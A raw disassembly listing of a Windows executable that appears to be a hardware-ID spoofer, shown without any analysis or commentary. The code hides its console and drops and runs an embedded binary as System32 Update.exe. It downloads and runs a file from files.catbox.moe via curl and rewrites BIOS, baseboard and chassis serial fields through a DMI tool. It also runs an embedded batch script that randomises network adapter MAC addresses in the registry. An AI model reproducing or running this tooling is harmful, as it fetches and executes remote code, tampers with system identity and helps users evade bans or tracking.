call fcn.14004e780
call fcn.140057e90
call fcn.140042290
lea rbx, [0x140379690]
mov edi, reloc.WLDAP32.dll_Ordinal_22
nop dword [rax]
nop word [rax + rax]
lea rcx, [rbp + 0x20]
mov dword [rbp + 0x20], 0x1e12
mov byte [rbp + 0x24], r13b
call fcn.140061160
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, rbx
call fcn.140031ac0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x25]
mov dword [rbp + 0x25], 0x1e12
mov byte [rbp + 0x29], r13b
call fcn.140061160
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0xfa
call qword [sym.imp.KERNEL32.dll_Sleep]
add rbx, 0x20
sub rdi, r13
jne 0x14005d320
cmp byte [0x14037951c], r12b
je 0x14005d3c8
xor edx, edx
mov rcx, r15
call qword [sym.imp.USER32.dll_ShowWindow]
lea rdx, [rbp + 0x30]
call fcn.140061440
mov r8d, 0x60a00
lea rdx, str.MZS__A
lea rcx, [rbp + 0x30]
call fcn.1400482f0
lea rcx, [rbp + 0x30]
call fcn.140031ad0
lea rcx, str.C:WindowsSystem32Update.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
cmp byte [0x14037952b], r12b
je 0x14005f2d0
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
lea rcx, [rbp + 0x30]
call fcn.140047ca0
lea rcx, [rbp + 0x370]
call fcn.140047ca0
lea rcx, [rbp + 0x490]
call fcn.140047ca0
lea rcx, [rbp + 0x390]
call fcn.140047ca0
lea rcx, [rbp + 0x3b0]
call fcn.140047ca0
lea rcx, [rbp + 0x350]
call fcn.140047ca0
lea rcx, [rbp + 0x3d0]
call fcn.140047ca0
lea rcx, [rbp + 0x3f0]
call fcn.140047ca0
lea rcx, [rbp + 0x410]
call fcn.140047ca0
lea rcx, [rbp + 0x430]
call fcn.140047ca0
lea rcx, [rbp + 0x450]
call fcn.140047ca0
lea rcx, [rbp + 0x470]
call fcn.140047ca0
lea rcx, [rbp + 0x70]
call fcn.140047ca0
lea rcx, [rbp - 0x60]
call fcn.140047ca0
lea rcx, [rbp - 0x40]
call fcn.140047ca0
lea rcx, [rbp - 0x20]
call fcn.140047ca0
lea rcx, [rbp + 0x120]
call fcn.140047ca0
lea rcx, [rbp + 0x268]
call fcn.140047ca0
lea rcx, [rbp + 0x288]
call fcn.140047ca0
lea rcx, [rbp + 0x4b0]
call fcn.140047ca0
lea rcx, [rbp + 0x910]
call fcn.140047ca0
lea rcx, [rbp + 0x4d0]
call fcn.140047ca0
lea rcx, [rbp + 0x8f0]
call fcn.140047ca0
lea rcx, [rbp + 0x8d0]
call fcn.140047ca0
lea rcx, [rbp + 0x8b0]
call fcn.140047ca0
lea rcx, [rbp + 0x890]
call fcn.140047ca0
lea rcx, [rbp + 0x870]
call fcn.140047ca0
lea rcx, [rbp + 0x850]
call fcn.140047ca0
lea rcx, [rbp + 0x830]
call fcn.140047ca0
lea rcx, [rbp + 0x810]
call fcn.140047ca0
lea rcx, [rbp + 0x7f0]
call fcn.140047ca0
lea rcx, [rbp + 0x7d0]
call fcn.140047ca0
lea rcx, [rbp + 0x7b0]
call fcn.140047ca0
lea rcx, [rbp + 0x790]
call fcn.140047ca0
lea rcx, [rbp + 0x770]
call fcn.140047ca0
lea rcx, [rbp + 0x750]
call fcn.140047ca0
lea rcx, [rbp + 0x730]
call fcn.140047ca0
lea rcx, [rbp + 0x710]
call fcn.140047ca0
lea rcx, [rbp + 0x6f0]
call fcn.140047ca0
lea rcx, [rbp + 0x6d0]
call fcn.140047ca0
lea rcx, [rbp + 0x6b0]
call fcn.140047ca0
lea rcx, [rbp + 0x690]
call fcn.140047ca0
lea rcx, [rbp + 0x670]
call fcn.140047ca0
lea rcx, [rbp + 0x650]
call fcn.140047ca0
lea rcx, [rbp + 0x630]
call fcn.140047ca0
lea rcx, [rbp + 0x610]
call fcn.140047ca0
lea rcx, [rbp + 0x5f0]
call fcn.140047ca0
lea rcx, [rbp + 0x5d0]
call fcn.140047ca0
lea rcx, [rbp + 0x5b0]
call fcn.140047ca0
lea rcx, [rbp + 0x590]
call fcn.140047ca0
lea rcx, [rbp + 0x570]
call fcn.140047ca0
lea rcx, [rbp + 0x550]
call fcn.140047ca0
lea rcx, [rbp + 0x530]
call fcn.140047ca0
lea rcx, [rbp + 0x510]
call fcn.140047ca0
lea rcx, [rbp + 0x4f0]
call fcn.140047ca0
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
lea rdx, [rbp - 0x80]
call fcn.140061560
mov r8d, 0x5e670
lea rdx, [0x140311cd0]
lea rcx, [rbp - 0x80]
call fcn.1400482f0
lea rcx, [rbp - 0x80]
call fcn.140031ad0
lea rdx, [rbp - 0x80]
call fcn.140061500
mov r8d, 0x7180
lea rdx, [0x140370370]
lea rcx, [rbp - 0x80]
call fcn.1400482f0
lea rcx, [rbp - 0x80]
call fcn.140031ad0
lea rdx, [rbp - 0x80]
call fcn.1400614a0
mov r8d, 0x8788
lea rdx, [0x1402f62a0]
lea rcx, [rbp - 0x80]
call fcn.1400482f0
lea rcx, [rbp - 0x80]
call fcn.140031ad0
lea rcx, str.C:UsersSpaceManager.EXE__SU_AUTO__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea r8, [rbp + 0x30]
lea rdx, str.C:UsersSpaceManager.EXE__SS
lea rcx, [rbp + 0x90]
call fcn.140064f40
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp - 0x80]
call fcn.1400650d0
mov rcx, rax
call fcn.140031ac0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp - 0x80]
call fcn.140031ad0
lea rcx, [rbp + 0x90]
call fcn.140031ad0
lea r8, [rbp + 0x370]
lea rdx, str.C:UsersSpaceManager.EXE__CSK
lea rcx, [rbp - 0x80]
call fcn.140064f40
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x90]
call fcn.1400650d0
mov rcx, rax
call fcn.140031ac0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x90]
call fcn.140031ad0
lea rcx, [rbp - 0x80]
call fcn.140031ad0
lea r8, [rbp + 0x490]
lea rdx, str.C:UsersSpaceManager.EXE__CM
lea rcx, [rbp - 0x80]
call fcn.140064f40
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x90]
call fcn.1400650d0
mov rcx, rax
call fcn.140031ac0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x90]
call fcn.140031ad0
lea rcx, [rbp - 0x80]
call fcn.140031ad0
lea r8, [rbp + 0x390]
lea rdx, str.C:UsersSpaceManager.EXE__SK
lea rcx, [rbp - 0x80]
call fcn.140064f40
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x90]
call fcn.1400650d0
mov rcx, rax
call fcn.140031ac0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x90]
call fcn.140031ad0
lea rcx, [rbp - 0x80]
call fcn.140031ad0
lea r8, [rbp + 0x3b0]
lea rdx, str.C:UsersSpaceManager.EXE__SF
lea rcx, [rbp - 0x80]
call fcn.140064f40
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x90]
call fcn.1400650d0
mov rcx, rax
call fcn.140031ac0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x90]
call fcn.140031ad0
lea rcx, [rbp - 0x80]
call fcn.140031ad0
lea r8, [rbp + 0x350]
lea rdx, str.C:UsersSpaceManager.EXE__BT
lea rcx, [rbp - 0x80]
call fcn.140064f40
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x90]
call fcn.1400650d0
mov rcx, rax
call fcn.140031ac0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x90]
call fcn.140031ad0
lea rcx, [rbp - 0x80]
call fcn.140031ad0
lea r8, [rbp + 0x3d0]
lea rdx, str.C:UsersSpaceManager.EXE__BLC
lea rcx, [rbp - 0x80]
call fcn.140064f40
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x90]
call fcn.1400650d0
mov rcx, rax
call fcn.140031ac0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x90]
call fcn.140031ad0
lea rcx, [rbp - 0x80]
call fcn.140031ad0
lea r8, [rbp + 0x3f0]
lea rdx, str.C:UsersSpaceManager.EXE__PSN
lea rcx, [rbp - 0x80]
call fcn.140064f40
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x90]
call fcn.1400650d0
mov rcx, rax
call fcn.140031ac0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x90]
call fcn.140031ad0
lea rcx, [rbp - 0x80]
call fcn.140031ad0
lea r8, [rbp + 0x410]
lea rdx, str.C:UsersSpaceManager.EXE__PAT
lea rcx, [rbp - 0x80]
call fcn.140064f40
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x90]
call fcn.1400650d0
mov rcx, rax
call fcn.140031ac0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x90]
call fcn.140031ad0
lea rcx, [rbp - 0x80]
call fcn.140031ad0
lea r8, [rbp + 0x430]
lea rdx, str.C:UsersSpaceManager.EXE__PPN
lea rcx, [rbp - 0x80]
call fcn.140064f40
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x90]
call fcn.1400650d0
mov rcx, rax
call fcn.140031ac0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x90]
call fcn.140031ad0
lea rcx, [rbp - 0x80]
call fcn.140031ad0
lea r8, [rbp + 0x450]
lea rdx, str.C:UsersSpaceManager.EXE__CSK
lea rcx, [rbp - 0x80]
call fcn.140064f40
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x90]
call fcn.1400650d0
mov rcx, rax
call fcn.140031ac0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x90]
call fcn.140031ad0
lea rcx, [rbp - 0x80]
call fcn.140031ad0
lea r8, [rbp + 0x470]
lea rdx, str.C:UsersSpaceManager.EXE__CS
lea rcx, [rbp - 0x80]
call fcn.140064f40
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x90]
call fcn.1400650d0
mov rcx, rax
call fcn.140031ac0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x90]
call fcn.140031ad0
lea rcx, [rbp - 0x80]
call fcn.140031ad0
lea r8, [rbp + 0x70]
lea rdx, str.C:UsersSpaceManager.EXE__BS
lea rcx, [rbp - 0x80]
call fcn.140064f40
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x90]
call fcn.1400650d0
mov rcx, rax
call fcn.140031ac0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x90]
call fcn.140031ad0
lea rcx, [rbp - 0x80]
call fcn.140031ad0
lea rcx, str.C:UsersSpaceManager.EXE__SV__1.0___nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:UsersSpaceManager.EXE__SP__MS_7D22___nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:UsersSpaceManager.EXE__SM__Micro_Star_International_Co.__Ltd.___nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:UsersSpaceManager.EXE__BM__Micro_Star_International_Co.__Ltd.___nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:UsersSpaceManager.EXE__BP__H510M_A_PRO__MS_7D22____nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:UsersSpaceManager.EXE__BV__1.0___nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:UsersSpaceManager.EXE__CV__1.0___nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:UsersSpaceManager.EXE__CM__Micro_Star_International_Co.__Ltd.___nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:UsersSpaceManager.EXE__CA__Default_string___nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:UsersSpaceManager.EXE__CO__0000_0000h___nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:UsersSpaceManager.EXE__CT__03h___nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:UsersSpaceManager.EXE__IV__3.80___nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:UsersSpaceManager.EXE__IVN__American_Megatrends_International__LLC.___nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl_https:__files.catbox.moe_xre5ck___output_C:WindowsSystem32_vdfjdisfudasu.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14005dc87
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14005dc87
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14005dc82
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14005dc60
cmp r8d, 0x2fa62ca8
je 0x14005dc8c
test r9d, r9d
jne 0x14005dc40
mov rax, qword [rax]
jmp 0x14005dc10
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
mov ecx, 0x3e8
add rax, r10
call rax
lea rcx, [rbp + 0xd0]
call fcn.140048180
lea rcx, [rbp + 0x100]
mov rbx, rax
call fcn.140048180
lea rsi, str.C:WindowsSystem32_vdfjdisfudasu.exe_C:_
mov r8, rax
mov rdx, rsi
lea rcx, [rbp + 0x2b8]
call fcn.140064e10
mov rdx, rax
lea r8, [0x140171e54]
lea rcx, [rbp + 0x2d8]
call fcn.1400650d0
mov r8, rbx
lea rcx, [rbp - 0x80]
mov rdx, rax
call fcn.140065140
mov rdx, rax
lea r8, [0x140176d90]
lea rcx, [rbp + 0x90]
call fcn.1400650d0
mov rcx, rax
call fcn.140031ac0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x90]
call fcn.140031ad0
lea rcx, [rbp - 0x80]
call fcn.140031ad0
lea rcx, [rbp + 0x2d8]
call fcn.140031ad0
lea rcx, [rbp + 0x2b8]
call fcn.140031ad0
lea rcx, [rbp + 0x100]
call fcn.140031ad0
lea rcx, [rbp + 0xd0]
call fcn.140031ad0
lea rcx, [rbp - 0x80]
call fcn.140048180
lea rcx, [rbp + 0x90]
mov rbx, rax
call fcn.140048180
mov r8, rax
lea rdx, str.C:WindowsSystem32_vdfjdisfudasu.exe_D:_
lea rcx, [rbp + 0x2d8]
call fcn.140064e10
mov rdx, rax
lea r8, [0x140171e54]
lea rcx, [rbp + 0x2b8]
call fcn.1400650d0
mov r8, rbx
lea rcx, [rbp + 0x100]
mov rdx, rax
call fcn.140065140
mov rdx, rax
lea r8, [0x140176d90]
lea rcx, [rbp + 0xd0]
call fcn.1400650d0
mov rcx, rax
call fcn.140031ac0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0xd0]
call fcn.140031ad0
lea rcx, [rbp + 0x100]
call fcn.140031ad0
lea rcx, [rbp + 0x2b8]
call fcn.140031ad0
lea rcx, [rbp + 0x2d8]
call fcn.140031ad0
lea rcx, [rbp + 0x90]
call fcn.140031ad0
lea rcx, [rbp - 0x80]
call fcn.140031ad0
lea rcx, [rbp - 0x80]
call fcn.140048180
lea rcx, [rbp + 0x90]
mov rbx, rax
call fcn.140048180
mov r8, rax
lea rdx, str.C:WindowsSystem32_vdfjdisfudasu.exe_E:_
lea rcx, [rbp + 0x2d8]
call fcn.140064e10
mov rdx, rax
lea r8, [0x140171e54]
lea rcx, [rbp + 0x2b8]
call fcn.1400650d0
mov r8, rbx
lea rcx, [rbp + 0x100]
mov rdx, rax
call fcn.140065140
mov rdx, rax
lea r8, [0x140176d90]
lea rcx, [rbp + 0xd0]
call fcn.1400650d0
mov rcx, rax
call fcn.140031ac0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0xd0]
call fcn.140031ad0
lea rcx, [rbp + 0x100]
call fcn.140031ad0
lea rcx, [rbp + 0x2b8]
call fcn.140031ad0
lea rcx, [rbp + 0x2d8]
call fcn.140031ad0
lea rcx, [rbp + 0x90]
call fcn.140031ad0
lea rcx, [rbp - 0x80]
call fcn.140031ad0
lea rdx, str.C:WindowsSystem32checkit.bat
lea rcx, [rbp - 0x80]
call fcn.140031b30
mov r8d, 0x83e
lea rdx, str._shift__0_r_n_ECHO_OFF_r_ntitle__RANDOM__RANDOM__RANDOM__r_n_SETLOCAL_ENABLEDELAYEDEXPANSION_r_n_SETLOCAL_ENABLEEXTENSIONS_r_n_r_n_::Generate_and_implement_a_random_MAC_address_r_n_FOR__F__tokens1____a_IN__wmic_nic_where_physicaladaptertrue_get_deviceid__findstr__0_9___DO___r_n_CALL_:MAC_r_n_FOR___b_IN__0_00_000__DO___r_n_REG_QUERY_HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlClass4D36E972_E325_11CE_BFC1_08002bE10318__b__a__NUL_2_NUL__REG_ADD_HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlClass4D36E972_E325_11CE_BFC1_08002bE10318__b__a__v_NetworkAddress__t_REG_SZ__d__MAC____f__NUL_2_NUL_r_n___r_n___r_n_r_n_::Disable_power_saving_mode_for_network_adapters_r_n_FOR__F__tokens1____a_IN__wmic_nic_where_physicaladaptertrue_get_deviceid__findstr__0_9___DO___r_n_FOR___b_IN__0_00_000__DO___r_n_REG_QUERY_HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlClass4D36E972_E325_11CE_BFC1_08002bE10318__b__a__NUL_2_NUL__REG_ADD_HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlClass4D36E972_E325_11CE_BFC1_08002bE10318__b__a__v_PnPCapabilities__t_REG_DWORD__d_24__f__NUL_2_NUL_r_n___r_n___r_n_r_n_::Reset_NIC_adapters_so_the_new_MAC_address_is_implemented_and_the_power_saving_mode_is_disabled._r_n_FOR__F__tokens2_delims__skip2____a_IN___wmic_nic_where__netconnectionid_like_____get_netconnectionid_netconnectionstatus__format:csv___DO___r_n_netsh_interface_set_interface_name___a__disable__NUL_2_NUL_r_n_netsh_interface_set_interface_name___a__enable__NUL_2_NUL_r_n___r_n_r_n_GOTO_:EOF_r_n_:MAC_r_n_::Generates_semi_random_value_of_a_length_according_to_the__if__COUNT____line__minus_one__and_from_the_characters_in_the_GEN_variable_r_n_SET_COUNT0_r_n_SET_GENABCDEF0123456789_r_n_SET_GEN226AE_r_n_SET_MAC_r_n_:MACLOOP_r_n_SET__a_COUNT1_r_n_SET_RND_random__r_n_::__n__where_the_value_of_n_is_the_number_of_characters_in_the_GEN_variable_minus_one.__So_if_you_have_15_characters_in_GEN__set_the_number_as_14_r_n_SET__A_RNDRND__16_r_n_SET_RNDGEN_GEN:_RND__1__r_n_SET__A_RND2RND__4_r_n_SET_RNDGEN2_GEN2:_RND2__1__r_n_IF___COUNT____EQU__2___SET_MAC_MAC__RNDGEN2___ELSE__SET_MAC_MAC__RNDGEN___r_n_IF__COUNT___LEQ_11_GOTO_MACLOOP
lea rcx, [rbp - 0x80]
call fcn.1400482f0
lea rcx, [rbp - 0x80]
call fcn.140031ad0
lea rcx, str.C:WindowsSystem32checkit.bat__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.140042290
lea rbx, [0x140379690]
lea rdi, [0x140379950]
mov dword [rbp + 1], 0x1e12
mov rcx, r12
mov byte [rbp + 5], r13b
lea eax, [rcx + 0x71]
xor byte [rbp + rcx + 1], al
inc rcx
cmp rcx, 3
jb 0x14005df50
lea rcx, [rbp + 1]
mov byte [rbp + 5], r12b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
cmp qword [rbx + 0x18], 0xf
mov rcx, rbx
jbe 0x14005df7b
mov rcx, qword [rbx]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, r12
mov dword [rbp + 6], 0x1e12
mov byte [rbp + 0xa], r13b
nop
lea eax, [rcx + 0x71]
xor byte [rbp + rcx + 6], al
inc rcx
cmp rcx, 3
jb 0x14005df90
lea rcx, [rbp + 6]
mov byte [rbp + 0xa], r12b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0xfa
call qword [sym.imp.KERNEL32.dll_Sleep]
add rbx, 0x20
cmp rbx, rdi
jl 0x14005df42
mov rdx, qword [rbp + 0x508]
cmp rdx, 0xf
jbe 0x14005e003
mov rcx, qword [rbp + 0x4f0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005dffe
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140060440
call fcn.140135884
mov rdx, qword [rbp + 0x528]
mov qword [rbp + 0x500], r12
mov qword [rbp + 0x508], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x4f0], r12b
cmp rdx, 0xf
jbe 0x14005e05d
mov rcx, qword [rbp + 0x510]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005e058
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140060440
call fcn.140135884
mov rdx, qword [rbp + 0x548]
mov qword [rbp + 0x520], r12
mov qword [rbp + 0x528], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x510], r12b
cmp rdx, 0xf
jbe 0x14005e0b7
mov rcx, qword [rbp + 0x530]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005e0b2
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140060440
call fcn.140135884
mov rdx, qword [rbp + 0x568]
mov qword [rbp + 0x540], r12
mov qword [rbp + 0x548], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x530], r12b
cmp rdx, 0xf
jbe 0x14005e111
mov rcx, qword [rbp + 0x550]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005e10c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140060440
call fcn.140135884
mov rdx, qword [rbp + 0x588]
mov qword [rbp + 0x560], r12
mov qword [rbp + 0x568], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x550], r12b
cmp rdx, 0xf
jbe 0x14005e16b
mov rcx, qword [rbp + 0x570]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005e166
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140060440
call fcn.140135884
mov rdx, qword [rbp + 0x5a8]
mov qword [rbp + 0x580], r12
mov qword [rbp + 0x588], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x570], r12b
cmp rdx, 0xf
jbe 0x14005e1c5
mov rcx, qword [rbp + 0x590]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005e1c0
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140060440
call fcn.140135884
mov rdx, qword [rbp + 0x5c8]
mov qword [rbp + 0x5a0], r12
mov qword [rbp + 0x5a8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x590], r12b
cmp rdx, 0xf
jbe 0x14005e21f
mov rcx, qword [rbp + 0x5b0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005e21a
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140060440
call fcn.140135884
mov rdx, qword [rbp + 0x5e8]
mov qword [rbp + 0x5c0], r12
mov qword [rbp + 0x5c8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x5b0], r12b
cmp rdx, 0xf
jbe 0x14005e279
mov rcx, qword [rbp + 0x5d0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005e274
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140060440
call fcn.140135884
mov rdx, qword [rbp + 0x608]
mov qword [rbp + 0x5e0], r12
mov qword [rbp + 0x5e8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x5d0], r12b
cmp rdx, 0xf
jbe 0x14005e2d3
mov rcx, qword [rbp + 0x5f0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005e2ce
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140060440
call fcn.140135884
mov rdx, qword [rbp + 0x628]
mov qword [rbp + 0x600], r12
mov qword [rbp + 0x608], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x5f0], r12b
cmp rdx, 0xf
jbe 0x14005e32d
mov rcx, qword [rbp + 0x610]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005e328
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140060440
call fcn.140135884
mov rdx, qword [rbp + 0x648]
mov qword [rbp + 0x620], r12
mov qword [rbp + 0x628], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x610], r12b
cmp rdx, 0xf
jbe 0x14005e387
mov rcx, qword [rbp + 0x630]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005e382
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140060440
call fcn.140135884
mov rdx, qword [rbp + 0x668]
mov qword [rbp + 0x640], r12
mov qword [rbp + 0x648], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x630], r12b
cmp rdx, 0xf
jbe 0x14005e3e1
mov rcx, qword [rbp + 0x650]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005e3dc
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140060440
call fcn.140135884
mov rdx, qword [rbp + 0x688]
mov qword [rbp + 0x660], r12
mov qword [rbp + 0x668], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x650], r12b
cmp rdx, 0xf
jbe 0x14005e43b
mov rcx, qword [rbp + 0x670]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005e436
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140060440
call fcn.140135884
mov rdx, qword [rbp + 0x6a8]
mov qword [rbp + 0x680], r12
mov qword [rbp + 0x688], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x670], r12b
cmp rdx, 0xf
jbe 0x14005e495
mov rcx, qword [rbp + 0x690]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005e490
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140060440
call fcn.140135884
mov rdx, qword [rbp + 0x6c8]
mov qword [rbp + 0x6a0], r12
